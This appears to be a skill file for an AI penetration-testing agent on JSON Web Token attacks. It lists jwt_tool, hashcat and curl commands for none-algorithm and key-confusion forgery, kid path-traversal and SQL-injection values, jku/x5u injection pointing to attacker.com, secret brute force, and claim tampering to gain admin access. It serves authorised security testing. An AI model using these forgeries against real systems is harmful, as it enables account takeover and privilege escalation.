| name | jwt-pentest |
| description | Guides JSON Web Token attack testing with algorithm confusion, signature bypass, header injection, and secret brute force techniques. Use when Bearer tokens, Authorization headers with eyJ prefix, or JWT cookies are observed during web or API testing. |
JSON Web Token Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
Authorization: Bearer eyJ... header on API requests
- JWT-shaped cookies (three base64url segments separated by dots)
- Auth flows returning signed tokens with
alg, kid, or jku in header
- Role or user ID embedded in JWT payload claims
Workflow
Task Progress:
- [ ] Decode JWT header and payload
- [ ] Test signature bypass: none algorithm, null signature, key confusion
- [ ] Test header abuse: kid path traversal, jku/x5u injection
- [ ] Brute-force weak HS256 secrets; escalate claims (role, sub, admin)
- [ ] Document with request/response evidence
Detection
Decode and inspect
CLI (primary for web vulns):
python3 jwt_tool.py <JWT> -M at
echo "<JWT>" | cut -d. -f1 | base64 -d 2>/dev/null
echo "<JWT>" | cut -d. -f2 | base64 -d 2>/dev/null
Check: alg, kid, jku, x5u, typ, crit, claims (sub, role, admin, exp).
MSF MCP: No direct module. Use msf_search_modules(query="jwt") or msf_search_modules(query="json web token").
Exploitation by variant
None algorithm (CVE-2015-9235)
CLI (primary):
python3 jwt_tool.py <JWT> -X a
curl -H "Authorization: Bearer <forged_token>" "http://<target>/api/admin"
MSF MCP: No direct module.
Null signature (CVE-2020-28042)
CLI (primary):
python3 jwt_tool.py <JWT> -X n
MSF MCP: No direct module.
Key confusion RS256 to HS256 (CVE-2016-5431)
CLI (primary):
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -X k -jw jwks.json
Obtain RSA public key from JWKS endpoint or SSL cert; sign with public key as HMAC secret.
MSF MCP: No direct module.
ES256 and EdDSA confusion
CLI (primary):
python3 jwt_tool.py <JWT> -X k -pk ec_public.pem
python3 jwt_tool.py <JWT> -I -hc alg -hv HS256 -S hs-secret
Test cross-algorithm acceptance: ES256 token verified with Ed25519 or EC public key as HMAC.
MSF MCP: No direct module.
Embedded JWK injection (CVE-2018-0114)
CLI (primary):
python3 jwt_tool.py <JWT> -X i
MSF MCP: No direct module.
kid header abuse
CLI (primary):
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null"
python3 jwt_tool.py <JWT> -I -hc kid -hv "/dev/null" -S ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "key' OR '1'='1"
Path traversal to known file as HMAC key; SQL/command injection via kid backend.
MSF MCP: No direct module.
jku and x5u injection
CLI (primary):
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json"
python3 jwt_tool.py <JWT> -I -hc x5u -hv "https://attacker.com/cert.pem"
Host attacker JWKS; sign with matching private key.
MSF MCP: No direct module.
JWE key confusion
CLI (primary):
python3 jwt_tool.py <JWE> -J
Test JWE alg/enc header manipulation, AES-GCM nonce reuse, RSA1_5 padding oracle.
MSF MCP: No direct module.
crit header abuse
CLI (primary):
python3 jwt_tool.py <JWT> -I -hc crit -hv '["b64"]' -I -hc b64 -hv false
python3 jwt_tool.py <JWT> -I -hc crit -hv '["exp","custom"]'
If server ignores unknown crit extensions, bypass signature or expiry checks.
MSF MCP: No direct module.
Weak secret brute force
CLI (primary):
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/jwt-secrets.txt
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
MSF MCP: No direct module.
Claim tampering
CLI (primary):
python3 jwt_tool.py <JWT> -T
python3 jwt_tool.py <JWT> -I -pc role -pv administrator
python3 jwt_tool.py <JWT> -I -pc sub -pv admin -I -pc isAdmin -pv true
Modify sub, role, admin, extend exp.
MSF MCP: No direct module.
Refresh-token rotation abuse
CLI (primary):
curl -X POST "http://<target>/auth/refresh" -d '{"refresh_token":"<token>"}'
python3 jwt_tool.py <refresh_jwt> -T -I -pc scope -pv "admin read write"
Test: refresh token reuse, family invalidation bypass, scope escalation on refresh endpoint.
MSF MCP: No direct module.
WAF bypass
CLI (primary):
python3 jwt_tool.py <JWT> -M at
Algorithm case: none, None, NONE, nOnE; strip signature with trailing dot; nested JWT; duplicate claims.
MSF MCP: No direct module.
Impact escalation
| Stage | CLI technique |
|---|
| Auth bypass | None alg, null sig, key confusion |
| Privesc | Modify role/admin claims |
| Account takeover | Change sub to victim user ID |
| Persistent access | Extend exp, forge refresh tokens |
MSF MCP: After token forgery yields admin access, use msf_search_modules(query="<product>").
Tool reference
python3 jwt_tool.py <JWT> -M at
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -C -d jwt-secrets.txt
python3 jwt_tool.py <JWT> -T
hashcat -m 16500 jwt.txt wordlist.txt
Burp extensions: JWT Editor, JOSEPH.
Related skills
web-app-pentest - overall web testing flow
idor-pentest - object access after token forgery
sqli-pentest - kid header SQL injection backend
graphql-pentest - JWT auth on GraphQL endpoints